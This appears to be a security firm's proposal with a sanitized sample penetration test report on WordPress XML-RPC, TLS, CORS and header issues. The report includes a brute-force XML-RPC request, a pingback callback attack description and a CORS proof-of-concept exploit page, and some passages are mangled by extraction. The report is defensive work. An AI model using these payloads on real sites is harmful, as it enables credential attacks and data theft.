Wireless networks are becoming the standard for organizations and are an easy way to get everyone connected. Going wireless, however, presents its own types of security challenges. GSG's Wireless Assessment services give you a detailed look into the risks of your wireless set-up through sophisticated attempts to gain access and compromise systems. At the end of the assessment, our team will give you actionable recommendations to make your wireless network more secure.

After determining the scope and rules of engagement, our team works onsite at your location, performing an external wireless scan, as well as analyzing and identifying different network attack vectors. Because our Wireless Assessment is a full-picture review of your network, we also do manual vulnerability testing and assess wireless device configurations, wireless policies, and wireless topology mapping. We'll immediately notify you of any critical risks in advance of our comprehensive report.

Our wireless Assessment looks at the following items:

- First, we review the RF coverage and capacity design and how access points are distributed throughout your environment.
- We also look into the RF environment and what is happening around and within it that can affect wireless performance.
- The physical installation including the mounting and orientation of the access points and antennas plays a role in performance and will require review.
- Your cabling infrastructure that supports the access point backhaul to the network is critical to performance and also merits an inspection.
- We will request an overview of your switching infrastructure that handles the traffic from the access points and clients onto the network.
- The WLAN design and configuration that administers the system will be looked at. This includes the channel arrangement, power settings, data rates, number of broadcasts SSIDs and other factors that have an impact on the performance of the system.
- We also consider integrated components; NAC or AAA services, as well as network services like DHCP and DNS that are critical to the support of optimally performing Wi-Fi.



Demonstrated Ex	perience with Wireless Penetration Testing
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Fort Wayne–Allen County Airport Authority	Our team performed wireless testing to detect and identify any rogue devices within the network as well as to assess the staff's level of security awareness. GSG conducted assessment and testing of the Authority's wireless assets, including vulnerability analysis, and attempted to exploit discovered vulnerabilities. We checked if wireless devices were broadcasting Service Set Identifiers (SSIDs) or other information that could enable hackers.
USDA Agriculture Security Operations Center (ASOC) General Support Systems	GSG conducted wireless access control attacks to penetrate a network by evading WLAN access control measures such as AP MAC filters and Wi- Fi port access controls. The attacks can take place through anything from war-driving, rouge access points, MAC spoofing, ad-hoc associations, AP/Client misconfigurations, unauthorized association and Promiscuous clients

5.5 Deliverables

The completed assessment results are documented in a content-rich report which includes the background, summary of findings, detailed findings, scope and methodology, and supplemental content for context and reference. Each report is risk-based and customized to the specific scope of the assessment.

Typical elements that you will find in our reports include:

An executive summary for strategic direction	A walkthrough of technical risks	Multiple options for vulnerability remediation	The potential impact of each vulnerability
--	----------------------------------	--	--

Deliverables included in our report are:

- A PDF executive summary of the findings
- A corresponding interactive HTML report providing the details for each of the assessment categories, as well as the device-specific vulnerabilities
- An action plan in Microsoft Word detailing our recommended remediation activities

Once the assessment has been completed, the Lottery will be provided with the following:

1. Comprehensive	We will provide a comprehensive summary report that gives a high-level				
Summary	overview of the vulnerabilities that have been identified and the associated				
Report	risks to your environment. Our clear and concise reporting format contains				
	an Executive Summary that can be understood by all members of the Lottery				
	— including individuals who may be in management or non-technical roles.				
2. Detailed	A detailed technical report will be provided to you immediately once the				
Technical	assessment has been completed. This report provides further information				
Report	on the vulnerabilities that have been identified and recommends a course of				
	immediate corrective action following the assessment.				
3. Risk-Based	A risk-based approach is used throughout the report, and all vulnerabilities				
Approach with	are scored in line with the Common Vulnerability Scoring System (CVSS).				
CVSS Scoring	This allows the contents of the report to be fed into your own internal risk				
	assessments and allows a plan to be developed to prioritize those				



vulnerabilities which pose the highest risk to the Lottery.

High-level reports are strictly confidential. We are certain that the Lottery would not want us to share any aspect, however well redacted, of our findings regarding the security of your systems. We can, however, share some general outlines of these reports.

We provide the following reports, tailored to the requirements of our contract. For a commonly required activity, such as a Penetration Test, a report would follow the following general outlines:

Penetration Testing Report

- I. Executive Summary
- II. Introduction
 - a. Purpose of Penetration Tests
 - b. Listing of relevant regulations/requirements
- III. Dates of Assessment
- IV. Scope
 - a. Systems and types of testing to be conducted
 - b. Specifically excluded tests
- V. Client Internal IPs
- VI. Client External IPs
- VII. Excluded Network IP Address Ranges (If applicable)
- VIII. Assessment Tools
- IX. Client and Contractor Points of Contact
- X. Documentation
- XI. Test Results
- XII. Technical Details
- XIII. Summary of Findings
 - a. High-Risk Issues
 - b. Medium-Risk Issues
 - c. Low-Risk Issues
- XIV. Conclusion
- XV. Remediation and Mitigation Recommendations
- XVI. Appendix A: Methodology
- XVII. Appendix B: Glossary of Terms

Summary of Findings

The **Summary of Findings** report may also form the basis for creation of an Action Plan Excel workbook (example below) that identifies each NIST control (or other variable), the purpose/description of that control, outlines general guidance for the implementation of that control, identifies risk levels, sets a priority level, identifies Plans of Action and Milestones (POAMs), and contains areas for implementation details, evidence, and status of POAMs.

Finding	Identification of the vulnerability					
Risk Level	High Medium Low Difficulty to Exploit Medium Low Closed Open					
Description	Explain what t	he vulnerability means and	I how it poses a ri	sk to the sys	tem	
Notes	Any other information relevant to the vulnerability					
Recommendation	How to either mitigate or eliminate the vulnerability					
References	Technical documents related to the vulnerability that may have informed its discovery recommendations or other aspects					
Affected Host(s)	What parts of the network are affected?					
Evidence						
Technical details regarding the discovery of the vulnerability						



These Excel workbooks can be tailored to the specific requirements of each client. For example, they may include a crosswalk between the Security Rule and NIST Cybersecurity Framework. **For larger, more complex projects -** Often, especially on larger, more comprehensive projects, we will provide a methodology report to detail what our team is or was assessing and how they are or were accomplishing the tasks. This is a report that may be developed with a client representative prior to testing, but that would not be generally available until afterwards.

5.6 Sample Reports

5.6.1 External Network and Web Application Vulnerability Scan and Penetration Test Report

The following is a "sanitized" copy of our external network and web application vulnerability scan and penetration test report. This is a report that has been made generic by removing all identifying information and replacing it with non-specific "placeholder" information.



External Network and Web Application Vulnerability

Scan and Penetration Test Report

Prepared for:

The Client-A (CLIENT-A)

Report Date

12/21/2020

Presented on behalf of Global Solutions Group Inc. by:

Vicki Shah

Project Manager

Disclaimer

This report is felt to contain confidential and sensitive information to The Client-A (CLIENT-A). As such we have labeled the report as "CONFIDENTIAL". We recommend that the report only be shared with entities officially connected to CLIENT-A which could include management, employees, attorneys, auditors and regulators.



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Executive Summary

In December 2020, Global Solutions Group Inc. (GSG) was engaged by the management of The Client-A (CLIENT-A) to simulate a real-world attack and penetration testing on their external (Internet) facing network and web applications.

This review was conducted to verify that reasonable controls were in place to comply with industry best practices and confirm that access to the CLIENT-A's IT environment does not compromise system confidentiality, integrity, or other resources' availability. This engagement aimed to identify potential security risks and provide a foundation for improved risk-based decision-making that would help achieve regulatory compliance and prioritize investments to meet security goals.

The network environment examination followed a phased assessment consisting of Data Collection and Scanning, Vulnerability Validation, and Documentation of Findings. Each phase is described in the Project Components section of this report. Various commercial and open-source tools were used to evaluate CLIENT-A's network and web applications.

Scope and Objectives

This assessment's focus was to find vulnerabilities, safely exploit them, and gain access to the CLIENT-A's system, without any detection, without any interference, and without any outage.

The following table contains the IPs (Domains), which were in scope for this assessment:



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General Observation and recommendations

The CLIENT-A engaged GSG to perform attack and penetration tests using real-world techniques and tools on its external-facing network and web applications.

These activities are commonly performed in one of two ways:

- Credentialed
- Non-Credentialed

GSG and CLIENT-A agreed to conduct the testing using the credentialed method utilizing limited knowledge about the environment as well. This approach simulates an attacker with some knowledge of the systems. It also allowed GSG to target the selected in-scope systems and produce more focused results in less time.

During the penetration test, GSG found the issues listed below. Each detailed finding and recommendation for remediation were documented in a detailed findings section later in this report.

Vulnerability	Security Implications	Severity
WordPress XMLRPC	An attacker can use a brute-force attack to gain access to the server. An attacker can also use pinback functionality to launch a Denial-of-Service (DoS) attack against other sites.	High
Encryption Configuration	Using an insufficient length for a key in an encryption/decryption algorithm opens up the possibility (or probability) that the encryption scheme could be broken, and data can be compromised.	Medium
Browsable Web Directories	Exposed information about the server can be used for future attacks.	Medium
Password Field Allows Autocomplete	Attackers could compromise a user's pc and gain access to the stored password.	Low
CORS Misconfiguration	A web client can put any value into the Origin request HTTP header to force a web application to provide it the target resource content, which could allow various attacks if another vulnerability exists on the server.	Low
HTTP Response Header Hardening	Exposed information about the server can be used for future attacks.	Info

Key Observations

- Unused accounts (including test accounts) were locked or disabled to prevent any misuse.
- All unnecessary or non-required ports were blocked to prevent any misuse or future exploit attempts.
- Misconfigured applications (WordPress) could allow system compromise, unavailability or reputational risk.

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- Encryption weaknesses could allow an attacker to compromise sessions and obtain sensitive data.
- Server configuration allows sensitive data exposure, password storage on the client's browser, and other resource sharing issues.

Recommendations

- Disable XML-PRC on WordPress if not required or restrict access from known IP addresses.
- Configure the server to use strong encryption TLSv1.2 or above.
- · Configure the application to disable password storage on the client's machine.
- Configure the server to restrict files and directory access.
- Configure the server to restrict access to trusted domains (CORS).

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Project Methodology

The criteria used for this assessment is based upon the industry best practices for security and OWASP Top 10, which represents a broad consensus about the most critical network, operating systems, and web application security flaws (refer to Appendix-B for further information).

This base methodology is applied to maintain a high quality of consistency, regardless of the application tested. However, unique application business logic and architecture often require an intuitive approach, prompting tests to accommodate situational attack vectors.

GSG's general activities were part of a standard methodology consisting of the seven phases listed below. These phases were further augmented by the intuitive analysis of any specific asset's configuration or information discovered within the target environment by a highly trained and experienced penetration testing expert.

Assessment Phase	Components	Tasks
1.Pre-engagement Interactions	Defining scope and communication methods	The scope of a project specifically defines what is to be tested. One key component of scoping an engagement is outlining how the testers should spend their time. We work with the client to discuss the scope and secure communication methods during and after the test is completed.
2.Intelligence Gathering	Understanding about the target	Intelligence Gathering is performing reconnaissance against a target to gather as much information as possible to be utilized when penetrating the target during the vulnerability assessment and exploitation phases. We use various public and private resources to gain knowledge about the target systems (domain, websites, etc.)
3.Threat Modeling	Network Scan	We collect information on and performs a scan of the network environment to gain knowledge of the configuration and identify known vulnerabilities with the use of automated tools.
4. Vulnerability Analysis	Research on vulnerability and possible exploit.	We review the networks identified during the scan and eliminates information related to networks not germane to the security review. Vulnerabilities associated with the networks were then isolated and reviewed and validated.
5.Exploitation (If approved by the client)	Exploiting vulnerabilities	Attempt to exploit the vulnerabilities discovered in vulnerability detection phase and any additional vulnerability that is manually identified in this phase.
6.Post-exploitation (If approved by the client)	Gain access and elevate	Gain access to any server and explore any additional vulnerabilities which allow gaining access to the elevated/privilege user access {e.g., Local Administrator, Domain Administrator).
7.Reporting	Documentation, Discussion, and Final report.	We document the findings from analyzing the above information discusses those results with the Technology/Audit team and creates a final report for submission to senior management.

Below are the phases of penetration testing methodology:

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Detailed Test Results

Below is a summary of the detailed test results for each of the vulnerabilities that have been identified. The results provided include a description of the vulnerability, along with an estimate of how easy it could be to exploit the vulnerability and the level of expertise needed to perform the exploit. In the Solution row there we have identified actions that should help to remediate.

The detailed vulnerabilities have been outlined in the narrative and tables that follow:

WordPress XMLRPC

Vulnerability	WordPress XMLRPC	:			
Severity	High				
CVSS Score	8	CVE	CWE-20 See below	Exploitable	Yes
Affected Systems	ns IP(s)/URL(s) Ports/Protocol Service Other Informat		Other Information		
	Client-A.org	443/tcp	www	www WordPress related issu Input Validation	
Description					

WordPress has inbuilt features that let you remotely interact with your site. One of WordPress's core features is XMLRPC; XML-RPC enables data to be transmitted, with HTTP acting as the transport mechanism and XML as the encoding mechanism. There are several vulnerabilities in the implementation of the XML-RPC, which could allow system compromise, unauthorized data post, and remote Denial of service attacks.

Solution

Disable XML-RPC.

Method 1: Disabling Xmlrpc.php With Plugins

Navigate to the Plugins - Add New section from within your WordPress dashboard. Search for Disable XML-RPC and install the plugin that looks like the image below:

0 000+ Aktiva installa	tioner	✓ Kompatibelt med din	version av WordPress
(19)		Senast uppdat	erat: 2 timmar sedan
	Completely disables all XML-RPC related functions in WordPress including pingbacks and trackbacks, and helps prevent		Fler detaljer
1	Disable XML	-RPC	Installera nu

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Install disable xmlrpc plugin:

Activate the plugin. This plugin will automatically insert the necessary code to turn off XML-RPC. **Method 2: Disable Xmlrpc.php manually**

If you do not want to use a plugin but prefer to do the shutdown manually, you can use this simple method. It will stop all incoming xmlrpc.php requests before they are passed on to WordPress. Locate and open your .htaccess file. You may need to enable "show hidden files" in the file manager or your FTP client to find this file. Then paste the following code into your .htaccess file:

Block WordPress xmlrpc.php requests <Files xmlrpc.php> order deny, allow

deny from all allow from <<replace this with *Trusted IP address>>* </ Files>

Additional Resources

CVE - Search Results (mitre.org) - Multiple CVEs

PCI v3.2.1-6.5.8, PCI v3.2.1-6.5.8, CAPEC-212, CWE-665, HIPAA-665, ISO27001-A.18.1.3, WASC-14, OWASP 2013-A5, OWASP 2017-A6

Ease Of Exploit

Easy

Skill Level Needed

Expert

Technical Details

XML-RPC on WordPress is an API or "application program interface". It gives developers who make mobile apps, desktop apps, and other services the ability to talk to your WordPress site. The XML-RPC API that WordPress provides gives developers a way to write applications (for you) that can do many of the things you can do when logged into WordPress via the web interface. These include: 1) Publish a post

- 2) Edit a post
- 3) Delete a post.

a) Uplead a post.

- Upload a new file (e.g. an image for a post)
- 5) Get a list of comments

6) Edit comments

There are two main weaknesses to XML-RPC, which have been exploited in the past.

The first is using brute force attacks to gain entry to your site. An attacker will try to access your site using xmlrpc.php by using various usernames and password combinations. They can effectively use a single command to test hundreds of different passwords. This allows them to bypass security tools that typically detect and block brute force attacks.

The second was taking sites offline through a DDoS attack. Hackers would use the pingback feature in WordPress to send pingbacks to thousands of sites instantaneously. This feature in xmlrpc.php gives hackers a nearly endless supply of IP addresses to distribute a DDoS attack over.

Exploit Attempts

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4. Search for the following methods. If they are available, then we can proceed with some attacks: a. wp.getUserBlogs b. wp.getCategories c. metaWeblog.getUsersBlogs d. pingback.ping 5. To perform the brute-force login, send the following in the POST request if you know any valid usernames (See the issue WordPress User Enumeration below to get the usernames.) 6. Send the POST request containing this POST data, in which value "admin" is the username and value "pass" is the password. The value of the username password can be bruteforced (out of scope for this assessment). POC for request. POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 235 <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>\{\{your username\}\}</value></param> <param><value>\{\{your password\}\}</value></param> </params> </methodCall> an lost die last 6 mar | 100, Actual request and response. 7. If a valid credential is found, we can launch other attacks such as a. blogger.editPost b. wp.uploadFile c. wp.getFile Attack#2 XML-RPC pingbacks attacks In this case, an attacker is able to leverage the default XML-RPC API in order to perform callbacks for the following purposes: This document is intended for Customer internal use.

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Distributed denial-of-service (DDoS) attacks - An attacker executes the pingback.ping the method from several affected WordPress installations against a single unprotected target (botnet level). **Cloudflare Protection Bypass** - An attacker executes the pingback.ping the method from a single affected WordPress installation which is protected by Cloudflare to an attacker-controlled public host (for example, a VPS) in order to reveal the public IP of the target, therefore bypassing any DNS level protection.

XSPA (Cross Site Port Attack) - An attacker can execute the pingback.ping the method from a single affected WordPress installation to the same host (or other internal/private hosts) on different ports. An open port or an internal host can be determined by observing the difference in time of response and/or by looking at the response of the request.

The following represents a simple example request using the Hookbin (or similar) provided URL as a callback:

- 1. Create a site or open a listener on your public IP address. In our case, we created a dummy page at hookbin.com
- 2. Launch an attack using a different payload, as shown below.

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4. The response above shows that the attack was successful.

Management Response

{Please insert about corrective action(s) or risk acceptance here.}

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Encryption Configuration

Vulnerability	Encryption Configuration				
Severity	Medium				
CVSS Score	5	CVE	CVE-2016-2183	Exploitable	Yes
Affected Systems	IP(s)/URL(s)	Ports/Protocol	Service	Other Informa	tion
	www.Client-A.com	443/tcp	www	TLS 1.0 in use	•
Description					
Testing identified because of probl following: The server allows chaining mode hav "early" TLS (TLS v1	several servers that p lems associated with session negotiation w veled to exploits such a .0).	provide encryptic encryption con vith CBC operatio as "Lucky Thirteen	on but are at risk figuration. These n modes. Weakne " (CVE-2013-0169)	of cryptograp problems in sses in this cij), mainly when	phic attack include the pher block in used with
Solution					
Internet-exposed web servers and other services that utilize TLS encryption should be configured only to allow encrypted negotiation with TLS version 1.2. Earlier versions of TLS may be used, but only if vulnerable cipher suites and cipher strengths lower than 128-bit are disabled.					
Additional Resource	25				
PCI v3.2-, CAPEC-21	7, CWE-326, HIPAA-326,	ISO27001-A.14.1.3,	WASC-4, OWASP 20	013-A6, OWASP	2017-A3
Ease Of Exploit					
Theoretical	_ \ X				
Skill Level Needed					
Expert					
Technical Details					
The following example illustrates confirmation of the configuration of one of the web servers. Cipher suites that are vulnerable to cryptographic attacks are highlighted.					
www.Client-A.com	1				
Preferred TLSv1.2 Accepted TLSv1.2 Accepted TLSv1.2 Accepted TLSv1.2 Accepted TLSv1.2 Accepted TLSv1.2	256 bits ECDHE-RSA- 256 bits ECDHE-RSA- 256 bits ECDHE-RSA- 256 bits AES256-GCN 256 bits AES256-SHA 256 bits AES256-SHA	AES256-GCM-SHA AES256-SHA384 AES256-SHA A-SHA384 256	384 Curve P-256 Curve P-256 DH Curve P-256 DHE	DHE 256 E 256 256	
Accepted TLSv1.2 Accepted TLSv1.2	128 bits CAMELLIA25	AES128-GCM-SHA	A256 Curve P-256	DHE 256	

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Accepted	TLSv1.2	128 bits	ECDHE-RSA-AES128-SHA256	Curve P-256 DHE 256
Accepted	TLSv1.2	128 bits	ECDHE-RSA-AES128-SHA	Curve P-256 DHE 256
Accepted	TLSv1.2	128 bits	AES128-GCM-SHA256	
Accepted	TLSv1.2	128 bits	AES128-SHA256	
Accepted	TLSv1.2	128 bits	AES128-SHA	
Accepted	TLSv1.2	128 bits	CAMELLIA128-SHA	
Preferred	TLSv1.1	256 bits	ECDHE-RSA-AES256-SHA	Curve P-256 DHE 256
Accepted	TLSv1.1	256 bits	AES256-SHA	
Accepted	TLSv1.1	256 bits	CAMELLIA256-SHA	
Accepted	TLSv1.1	128 bits	ECDHE-RSA-AES128-SHA	Curve P-256 DHE 256
Accepted	TLSv1.1	128 bits	AES128-SHA	
Accepted	TLSv1.1	128 bits	CAMELLIA128-SHA	
Preferred	TLSv1.0	256 bits	ECDHE-RSA-AES256-SHA	Curve P-256 DHE 256
Accepted	TLSv1.0	256 bits	AES256-SHA	
Accepted	TLSv1.0	256 bits	CAMELLIA256-SHA	
Accepted	TLSv1.0	128 bits	ECDHE-RSA-AES128-SHA	Curve P-256 DHE 256
Accepted	TLSv1.0	128 bits	AES128-SHA	
Accepted	TLSv1.0	128 bits	CAMELLIA128-SHA	
Exploit Att	empts			
N/A – Thi: force atta within.	s is a con ck break	figuratior encryptic	n issue. An attacker needs to c on for the session to exploit th	apture enough packets and use a brute- is vulnerability and see sensitive data

Management Response

{Please insert about corrective action(s) or risk acceptance here.}

Password Field Allows Autocomplete

Vulnerability	Password Field	Password Field Allows Autocomplete						
Severity	Low	Low						
CVSS Score	3	CWE	CWE-16	Exploitable Yes				
Affected Systems	IP(s)/URL(s)	IP(s)/URL(s) Ports/Protocol Service Other Information						
	Client-A.org	443/tcp	www	Configuration Issue				
Description								
Testing identified th	ree applications in	which the application's	authenticatio	n script does not use the				

autocomplete="off" attribute to discourage browsers from storing passwords. Auto-completion is a convenience feature provided to allow browsers to remember data for frequently entered form fields. However, it also increases the potential for unauthorized access to unencrypted, stored data.

Solution

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Although some browsers do not honor the request to disable auto-completion, it is a standard security practice to use the autocomplete="off" attribute for parameter values involving sensitive information such as passwords and credit data.

Additional Resources

CWE-16, ISO27001-A.14.1.2, WASC-15, OWASP 2013-A5, OWASP 2017-A6

Ease Of Exploit

Difficult

Skill Level Needed

Expert

Technical Details

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications that employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains control over the user's computer. Further, an attacker who finds a separate application vulnerability such as cross-site scripting may be able to exploit this to retrieve a user's browser-stored credentials.

Exploit Attempts

N/A – This is a server configuration issue, which results in storage is a password at the client's browser.

Management Response

{Please insert about corrective action(s) or risk acceptance here.}

CORS Misconfiguration

Vulnerability	CORS Misconfig	CORS Misconfiguration			
Severity	Low				
CVSS Score	3	CWE	CWE-942	Exploitable	Yes
Affected Systems	IP(s)/URL(s)	Ports/Protocol	Service	Other Information	
	Client-A.org	443/tcp	www	CORS origin	
Description					

Servers are used to host web pages, applications, images, fonts, and much more. When you use a web browser, you will likely attempt to access a distinct website (hosted on a server). Websites often request these hosted resources from different locations (servers) on the Internet. Security policies on servers mitigate the risks associated with requesting assets hosted on a different server. Cross-

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origin resource sharing (CORS) is a mechanism that allows restricted resources (e.g., fonts) on a web page to be requested from another domain outside the domain from which the resource originated. The Access-Control-Allow-Origin header indicates whether a resource can be shared based on returning the Origin request header's value, "*", or "null" in the response.

Allowing cross-origin requests is helpful, as many websites today load resources from different places on the Internet (stylesheets, scripts, images, and more).

Cross-origin requests, however, mean that servers must implement ways to handle requests from origins outside of their own. CORS allows servers to specify who (i.e., which origins) can access the assets on the server, among many other things.

Solution

Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.

Additional Resources

What is CORS? | Codecademy

CORS OriginHeaderScrutiny | OWASP Foundation

CWE-942 - https://cwe.mitre.org/data/definitions/942.html

Ease Of Exploit

Easy

Skill Level Needed

Expert

Technical Details

An attacker would lure a victim to visit the attacker's website by using social engineering attacks such as email phishing. If a victim is logged in to the portal simultaneously, his/her personal information is sent to the attacker's server. Here is the sample Exploit code for the same.

<!DOCTYPE html> <html> <body> <center> <h2>CORS POC Exploit</h2> <h3>Extract SID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText);} }; xhttp.open("GET", "https://Client-A.org/wp-json/oembed/1.0/embed/?url=https://Client-A.org/", true); xhttp.withCredentials = true;

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whith cond():		
xittp.send(); }		
curl -I https://Client-A.org/wp-json/oembed/1.0	/embed/ -H "Origin: bing.com"	
HTTP/2 400		
server: nginx		
date: Mon, 21 Dec 2020 12:53:54 GMT		
content-type: application/json; charset=UTF-8		
x-powered-by: PHP/7.4.13		
x-robots-tag: noindex		
link: <https: client-a.org="" wp-json=""></https:> ; rel="https	://api.w.org/"	
x-content-type-options: nosniff		
access-control-expose-headers: X-WP-Total, X-V	VP-TotalPages, Link	
access-control-allow-headers: Authorization,	X-WP-Nonce, Content-Disposition, Content-MD5,	
Content-Type		
allow: GET		
access-control-allow-origin: http://bing.com		
access-control-allow-methods: OPTIONS, GET, P	OST, PUT, PATCH, DELETE	
access-control-allow-credentials: true		
vary: Origin		
cache-control: max-age=31536000		
expires: 12:53:54 GMT		
referrer-policy: no-referrer-when-downgrade		
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Exploit Attempts		

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Management Response

{Please insert about corrective action(s) or risk acceptance here.}

HTTP Response Header Hardening

Vulnerability	HTTP Response Header Hardening			
Severity	Info			
CVSS Score	0	CWE	CWE-16	Exploitable Yes
Affected Systems	IP(s)/URL(s)	Ports/Protocol	Service	Other Information
	Client-A.org	443/tcp	www	Configuration
Description				

Description

Observation of application response headers indicates the potential for a variety of attacks against application users due to lack of control over response headers. Most attack vectors that take advantage of lack of control require a high degree of sophistication, so the estimated level of threat is minimal. However, the measures required to "harden" response headers are not expensive to implement compared with the increased level of assurance that the response headers provide.

Testing identified the following response headers that were not observed in application responses:

• X-Frame-Options – This header minimizes the success potential of attacks such as "clickjacking" and "cross-frame scripting". Such attacks take advantage of the lack of frame control to "re-render" a page to trick an application user into performing an unintended action, such as mouse clicks and keystrokes.

 Content Security Policy - The CSP header allows the ability to define a whitelist of approved sources of content for an application. By restricting the assets that a browser can load for the application, such as "js" and "css", CSP can act as an effective countermeasure to cross-site scripting attacks.

 HTTP Strict Transport Security - Sites have always heavily relied on a 301/302 redirect to take users from browsing over HTTP to HTTPS. With browsers defaulting to HTTP when a user omits an HTTP/HTTPS preference when issuing a request, this has previously been the only way. HSTS allows the ability to tell a browser that HTTPS must be used to access the application. This means any bookmarks, links or addresses the user types will be forced to use HTTPS, even if they specify HTTP.

• X-XSS Protection - This header is used to configure the built-in reflective XSS protection found in Internet Explorer, Chrome , and Safari (Webkit). Valid settings for the header are 0, which disables the protection, 1 which enables the protection and 1; mode=block, which tells the browser to block the response if it detects an attack rather than sanitizing the script.

• X-Content Type Options - This header only has one valid value: "nosniff". It prevents Google Chrome and Internet Explorer from mime-sniff the content-type of a response away from the one declared by the server. It reduces exposure to drive-by downloads and the risks of user-uploaded content that, with clever naming, could be treated as a different content-type such as an executable.

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In addition to headers that can be added to harden application responses, testing identified the following header that is used but exposes too much information.

This header appears in the default configuration and exposes the type of web server and back-end application services. This information is generally not required by the client and can allow an attacker to tailor attacks specifically for the target.

Solution

Implement the following headers if possible:

o Content Security Policy

https://www.owasp.org/index.php/Content_Security_Policy

o HTTP Strict Transport Security

https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet o X-XSS Protection

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

o X-Content-Type-Options

https://www.owasp.org/index.php/Security_Headers

o X-Frame-Options

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

 Remove headers that leak information about application tier components (e.g., Server, X-Powered-By, PHP, X-AspNet-Version)

Additional Resources

X-Frame-Options

• CWE-693, ISO27001-A.14.2.5, OWASP 2013-A5, OWASP 2017-A6

Content Security Policy

• CWE-16, ISO27001-A.14.2.5, WASC-15

HTTP Strict Transport Security (HSTS)

 PCI v3.2.1-6.5.4, CAPEC-217, CWE-523, ISO27001-A.14.1.2, WASC-4, OWASP 2013-A6, OWASP 2017-A3

Ease Of Exploit

Difficult

Skill Level Needed

Expert

Technical Details

curl -I https://Client-A.org/

HTTP/2 200 server: nginx date: Mon, 21 Dec 2020 13:32:51 GMT content-type: text/html; charset=UTF-8 content-length: 27815 vary: Accept-Encoding

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ast-modified: :57:49 GMT	
iccept-ranges: bytes	
ary: Accept-Encoding,Cookie	
ache-control: max-age=0, public, public	
xpires: Mon, 21 Dec 2020 13:32:51 GMT	
eferrer-policy: no-referrer-when-downgrade	
-powered-by: W3 Total Cache/0.15.2	
oragma: public	
-powered-by: PleskLin	
url - I https://portal. Client-A.com/Pages/Login.aspx	
ITTP/1.1 200 OK	
Cache-Control: private	
Content-Length: 9764	
Content-Type: text/html; charset=utf-8	
ierver: Microsoft-IIS/8.5	
et-Cookie: ASP.NET_SessionId=rt2yy2sivau3spt5pfdqgzrc; path=/; secure; HttpOnly	
(-AspNet-Version: 4.0.30319	
(-UA-Compatible: IE=9	
(-Frame-Options: deny	
(-Content-Type-Options: nosniff	
Date: Mon, 21 Dec 2020 13:32:00 GMT	
xploit Attempts	
I/A	
Aanagement Response	
Please insert about corrective action(s) or risk accentance here }	

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Appendix A

Live Hosts, Open Ports and Services

Host	Ports/Services
Client-A.org	443/tcp, www
portal.Client-A.com	443/tcp, www

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Appendix B: Risk Rankings

A Risk matrix is a matrix that is used during risk assessment to define the level of risk by considering the category of probability or likelihood against the category of consequence severity. This is a simple mechanism to increase the visibility of risks and assist management decision making.

A risk is the amount of impact that can be expected to occur during a given period due to a specific event (e.g., System Failure/Compromise). Statistically, the level of risk can be calculated as the product of the probability that incident occurs multiplied by the severity of that impact (i.e., the average amount of data loss or productivity down). In practice, a risk matrix is a useful approach where either the probability or the severity cannot be estimated with accuracy and precision.

For example, the potential Impact can be categorized as:

- High Multiple System Failures
- Medium One or More System Failure
- Low One System Failure or Some Minor issues

The probability of harm occurring might be categorized as High, Medium, and Low. However, it must be considered that very low probabilities may not be very reliable.

The resulting Risk Matrix could be:

Severity versus Probability	Low	Medium	High
High Potential Impact on Systems/Network/Users	Medium Risk	High Risk	High Risk
Medium Potential Impact on Systems/Network/Users	Medium Risk	Medium Risk	High Risk
Low Potential Impact on Systems/Network/Users	Low Risk	Low Risk	Medium Risk

The company or organization then would calculate what levels of risk they can take with different events.

This would be done by weighing up the risk of an event occurring against the cost to implement safety and the benefit gained from it.

Threat Agent Factors

The first set of factors were related to the threat agent involved. The goal here is to estimate the likelihood of a successful attack by this group of threat agents. Use the worst-case threat agent.

Skill level

How technically skilled is this group of threat agents? No technical skills (1), some technical skills (3), advanced computer user (5), network and programming skills (6), security penetration skills (9),

Motive

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How motivated is this group of threat agents to find and exploit this vulnerability? Low or no reward (1), possible reward (4), high reward (9)

Opportunity

What resources and opportunities were required for this group of threat agents to find and exploit this vulnerability? Full access or expensive resources required (0), special access or resources required (4), some access or resources required (7), no access or resources required (9)

Size

How large is this group of threat agents? Developers (2), system administrators (2), intranet users (4), partners (5), authenticated users (6), anonymous Internet users (9)

Vulnerability Factors

The next set of factors were related to the vulnerability involved. The goal here is to estimate the likelihood of the particular vulnerability involved being discovered and exploited. Assume the threat agent selected above.

Ease of discovery

How easy is it for this group of threat agents to discover this vulnerability? Practically impossible (1), difficult (3), easy (7), automated tools available (9)

Ease of exploit

How easy is it for this group of threat agents to actually exploit this vulnerability? Theoretical (1), difficult (3), easy (5), automated tools available (9)

Awareness

How well known is this vulnerability to this group of threat agents? Unknown (1), hidden (4), obvious (6), public knowledge (9)

Intrusion detection

How likely is an exploit to be detected? Active detection in application (1), logged and reviewed (3), logged without review (8), not logged (9)

https://www.owasp.org/index.php/OWASP Risk Rating Methodology

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Appendix C: Attacks and Tests Performed Based on OWASP TOP 10

The following list details the most common attacks that can put an application at risk. Each attack is delegated to a category and contains links for further reading.

OWASP

Application Security Risks: Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.



Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is caused may be of no consequence, or it may put you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine the overall risk.

References

- OWASP Risk Rating Methodology https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
- Article on Threat/Risk Modeling https://www.owasp.org/index.php/Threat_Risk_Modeling

OWASP Top-10 (2017)

https://www.owasp.org/index.php/Category:OWASP Top Ten Project

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Appendix D – Engagement Team and Tools

Engagement Team

